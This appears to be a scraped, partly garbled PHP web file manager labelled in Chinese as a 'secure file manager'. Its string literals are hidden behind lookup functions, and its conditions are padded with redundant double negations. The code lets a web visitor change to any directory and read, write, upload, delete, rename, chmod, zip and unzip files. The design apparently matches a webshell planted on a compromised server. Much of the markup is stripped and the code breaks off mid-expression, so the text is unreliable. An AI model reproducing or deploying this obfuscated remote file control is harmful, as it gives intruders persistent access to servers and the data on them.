文件管理器

$item, ccc(10) => is_dir($itemPath) ? ccc(11) : ccc(12), ccc(13) => is_dir($itemPath) ? ccc(14) : formatSize(filesize($itemPath)), ccc(15) => substr(sprintf(ccc(16), fileperms($itemPath)), -4), ]; if (!(!(is_dir($itemPath)))) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return ccc(17); } } function formatSize($size) { $units = [ccc(18), ccc(19), ccc(20), ccc(21), ccc(22)]; $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ccc(23) . $units[$i]; } function readFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } return file_get_contents($file); } function saveFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } if (!(!(isset($_POST[ccc(24)])))) { return file_put_contents($file, $_POST[ccc(25)]) !== false; } return false; } function uploadFile($targetDirectory) { if (!(!(isset($_FILES[ccc(26)])))) { $targetFile = $targetDirectory . DIRECTORY_SEPARATOR . basename($_FILES[ccc(27)][ccc(28)]); if (!(!(move_uploaded_file($_FILES[ccc(29)][ccc(30)], $targetFile)))) { return ccc(31); } else { return ccc(32); } } return ccc(33); } function changeDirectory($path) { $currentDir = getCurrentDirectory(); $newDir = realpath($path); if (!(!(empty($newDir)))) { return; } @chdir($newDir); } function getCurrentDirectory() { return realpath(getcwd()); } function getLink($path, $name) { if (!(!(is_dir($path)))) { return ccc(34) . urlencode($path) . ccc(35) . htmlspecialchars($name) . ccc(36); } elseif (!(!(is_file($path)))) { return ccc(37) . urlencode(dirname($path)) . ccc(38) . urlencode($path) . ccc(39) . htmlspecialchars($name) . ccc(40); } } function getDirectoryArray($path) { $directories = explode(DIRECTORY_SEPARATOR, $path); $directoryArray = []; $currentPath = ccc(41); foreach ($directories as $directory) { if (!(!(!empty($directory)))) { $currentPath .= DIRECTORY_SEPARATOR . $directory; $directoryArray[] = [ ccc(42) => $currentPath, ccc(43) => $directory, ]; } } return $directoryArray; } function showBreadcrumb($path) { $path = str_replace("\\", "/", $path); $paths = explode("/", $path); ?>
名称 类型 大小 权限 操作
无文件
20 * 1024 * 1024))) { return oojdfkah(76); } if (!(!(move_uploaded_file($_FILES[oojdfkah(77)][oojdfkah(78)], $extractZipPath)))) { $zip = new ZipArchive(); if (!(!($zip->open($extractZipPath) === true))) { $hasTraversal = false; for ($i = 0; $i < $zip->numFiles; $i++) { $fileName = $zip->getNameIndex($i); if (!(!(strpos($fileName, oojdfkah(79)) !== false))) { $hasTraversal = true; break; } } if (!(!($hasTraversal))) { unlink($extractZipPath); return oojdfkah(80); } $zip->extractTo($currentDirectory); $zip->close(); unlink($extractZipPath); return oojdfkah(81); } else { unlink($extractZipPath); return oojdfkah(82); } } else { return oojdfkah(83); } } if (!(!(isset($_POST[oojdfkah(84)])))) { $zipFile = $_POST[oojdfkah(85)]; $zipFileName = $currentDirectory . DIRECTORY_SEPARATOR . basename($zipFile) . oojdfkah(86); $realFilePath = realpath($zipFile); if (!(!(strpos($realFilePath, $currentDirectory) !== 0))) { return oojdfkah(87); } $zip = new ZipArchive(); if (!(!($zip->open($zipFileName, ZipArchive::CREATE) === true))) { if (!(!(is_dir($zipFile)))) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zipFile) ); foreach ($files as $file) { if (!(!(!$file->isDir()))) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($zipFile) + 1); $zip->addFile($filePath, $relativePath); } } } elseif (!(!(is_file($zipFile)))) { $zip->addFile($zipFile, basename($zipFile)); } else { return oojdfkah(88); } $zip->close(); return oojdfkah(89); } else { return oojdfkah(90); } } } if (!(!(isset($_POST[oojdfkah(91)]) && $_POST[oojdfkah(92)] == 1))) { header(oojdfkah(93)); $action = isset($_POST[oojdfkah(94)]) ? $_POST[oojdfkah(95)] : oojdfkah(96); $result = array(oojdfkah(97) => false, oojdfkah(98) => oojdfkah(99), oojdfkah(100) => null); switch ($action) { case oojdfkah(101): $path = isset($_POST[oojdfkah(102)]) ? $_POST[oojdfkah(103)] : getCurrentDirectory(); $fileDetails = getFileDetails($path); $result[oojdfkah(104)] = true; $result[oojdfkah(105)] = array( oojdfkah(106) => generateBreadcrumbHTML($path), oojdfkah(107) => generateFileTableHTML($path) ); break; case oojdfkah(108): $file = isset($_POST[oojdfkah(109)]) ? $_POST[oojdfkah(110)] : oojdfkah(111); $content = isset($_POST[oojdfkah(112)]) ? $_POST[oojdfkah(113)] : oojdfkah(114); $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) === 0 && file_put_contents($file, $content) !== false))) { $result[oojdfkah(115)] = true; $result[oojdfkah(116)] = oojdfkah(117); } else { $result[oojdfkah(118)] = oojdfkah(119); } break; case oojdfkah(120): $file = isset($_POST[oojdfkah(121)]) ? $_POST[oojdfkah(122)] : oojdfkah(123); $result[oojdfkah(124)] = deleteFile($file); $result[oojdfkah(125)] = strpos($result[oojdfkah(126)], oojdfkah(127)) !== false; if (!(!($result[oojdfkah(128)]))) { $result[oojdfkah(129)] = array( oojdfkah(130) => generateBreadcrumbHTML(getCurrentDirectory()), oojdfkah(131) => generateFileTableHTML(getCurrentDirectory()) ); } break; case oojdfkah(132): $folder = isset($_POST[oojdfkah(133)]) ? $_POST[oojdfkah(134)] : oojdfkah(135); $result[oojdfkah(136)] = deleteFolder($folder); $result[oojdfkah(137)] = strpos($result[oojdfkah(138)], oojdfkah(139)) !== false; if (!(!($result[oojdfkah(140)]))) { $result[oojdfkah(141)] = array( oojdfkah(142) => generateBreadcrumbHTML(getCurrentDirectory()), oojdfkah(143) => generateFileTableHTML(getCurrentDirectory()) ); } break; case oojdfkah(144): $file = isset($_POST[oojdfkah(145)]) ? $_POST[oojdfkah(146)] : oojdfkah(147); $permission = isset($_POST[oojdfkah(148)]) ? $_POST[oojdfkah(149)] : oojdfkah(150); $result[oojdfkah(151)] = changePermission($file, $permission); $result[oojdfkah(152)] = strpos($result[oojdfkah(153)], oojdfkah(154)) !== false; if (!(!($result[oojdfkah(155)]))) { $result[oojdfkah(156)] = array( oojdfkah(157) => generateBreadcrumbHTML(dirname($file)), oojdfkah(158) => generateFileTableHTML(dirname($file)) ); } break; } echo json_encode($result); exit; } $currentDirectory = getCurrentDirectory(); $errorMessage = oojdfkah(159); $responseMessage = oojdfkah(160); if (!(!(isset($_GET[oojdfkah(161)])))) { changeDirectory($_GET[oojdfkah(162)]); $currentDirectory = getCurrentDirectory(); } if (!(!(isset($_GET[oojdfkah(163)])))) { $file = $_GET[oojdfkah(164)]; $content = readFileContent($file); if (!(!($_SERVER[oojdfkah(165)] === oojdfkah(166)))) { $saved = saveFileContent($file); if (!(!($saved))) { $responseMessage = oojdfkah(167); } else { $errorMessage = oojdfkah(168); } } } if (!(!(isset($_GET[oojdfkah(169)])))) { $file = $_GET[oojdfkah(170)]; if (!(!($_SERVER[oojdfkah(171)] === oojdfkah(172)))) { $currentDir = getCurrentDirectory(); $fullFilePath = $currentDir . DIRECTORY_SEPARATOR . $file; $responseMessage = changePermission($fullFilePath); } } if (!(!(isset($_POST[oojdfkah(173)])))) { $responseMessage = uploadFile($currentDirectory); } if (!(!(isset($_GET[oojdfkah(174)])))) { $file = $_GET[oojdfkah(175)]; if (!(!($_SERVER[oojdfkah(176)] === oojdfkah(177)))) { $newName = @$_POST[oojdfkah(178)]; if (!(!(is_file($file) || is_dir($file)))) { $responseMessage = renameFile($file, $newName); } else { $errorMessage = oojdfkah(179); } } } if (!(!(isset($_GET[oojdfkah(180)])))) { $file = $_GET[oojdfkah(181)]; if (!(!($_SERVER[oojdfkah(182)] === oojdfkah(183)))) { $currentDirectory = getCurrentDirectory(); if (!(!(is_file($file)))) { $responseMessage = deleteFile($file); } elseif (!(!(is_dir($file)))) { $responseMessage = deleteFolder($file); } else { $errorMessage = oojdfkah(184); } } } if ( isset($_POST[oojdfkah(185)]) && isset($_GET[oojdfkah(186)]) && $_GET[oojdfkah(187)] === oojdfkah(188) ) { $fileName = $_POST[oojdfkah(189)]; $responseMessage = createFile($fileName); } if ( isset($_POST[oojdfkah(190)]) && isset($_GET[oojdfkah(191)]) && $_GET[oojdfkah(192)] === oojdfkah(193) ) { $folderName = $_POST[oojdfkah(194)]; $responseMessage = createFolder($folderName); } if (!(!(isset($_POST[oojdfkah(195)]) || isset($_POST[oojdfkah(196)])))) { $responseMessage = handleZipOperations(); } function generateBreadcrumbHTML($path) { ob_start(); showBreadcrumb($path); return ob_get_clean(); } function generateFileTableHTML($path) { ob_start(); showFileTable($path); return ob_get_clean(); } ?> 安全文件管理器

安全文件管理器

注销

文件上传

文件内容:

">

创建文件

创建文件夹

重命名:


"class="button">取消

编辑文件:

路径:


取消

修改权限:

Windows系统不支持更改文件权限

';}else{$file=$_GET["chmod"];$currentDir=getCurrentDirectory();$fullFilePath=$currentDir.DIRECTORY_SEPARATOR.$file;$currentMode=fileperms($fullFilePath);?>

用户

其他

取消

解压ZIP文件

压缩文件/目录


文件列表";showBreadcrumb($currentDirectory);showFileTable($currentDirectory);?>